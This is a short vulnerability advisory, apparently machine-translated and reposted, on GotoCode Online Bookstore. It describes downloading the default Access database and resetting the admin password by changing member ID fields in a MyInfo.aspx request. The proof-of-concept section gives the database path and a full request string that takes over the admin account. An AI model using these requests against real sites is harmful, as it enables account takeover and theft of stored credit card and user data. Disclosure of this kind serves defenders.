Multiple defects in GotoCode Online Bookstore and repair

 

Title: GotoCode Online Bookstore Multiple Vulnerabilities

Defect category: Privilege Escalation/Remote Database Download

By Nathaniel Carew www.2cto.com Email: njcarew@gmail.com

Level: High

: Http://www.gotocode.com/apps.asp? App_id = 3 &

Platform: ASP. NET

Test Platform: MS Windows Server Standard 2003 SP2/IIS 6

 

Overview

 

---------

Database:

If the application is configured using the default directory structure and

Access database then a user can download the access database.

 

Privilege Escalation:

By modifying the Form_member_id and p_Form_member_id variables to the ID of the admin

Account (default ID is 7) on the MyInfo. aspx page in the POST data you can reset the admin

Password with the password you entered into the appropriate feed to gain full admin rights to the web application.

 

 

Proof of Concept:

-----------------

Http://www.bkjia.com/[path]/BookStore_MSAccess.mdb

Http://www.bkjia.com/[path]/MyInfo. aspx? Authorization = 7 & Form_member_id = 7 & Form_member_password = moo & Form_name = Administrator & Form_last_name = Account & Form_email = admin % login & Form_address = & Form_phone = & Form_notes = & Signature = 1 & Form_card_number = 111111111111

 

Impact:

-------

By resetting the admin password an attacker wocould be able to completely control the application, users

And their associated data such as stored credit card information. Successful database exploitation

Wocould allow an attacker to download the complete database of users information including email addresses

Usernames, passwords, credit cards and associated billing and ordering data.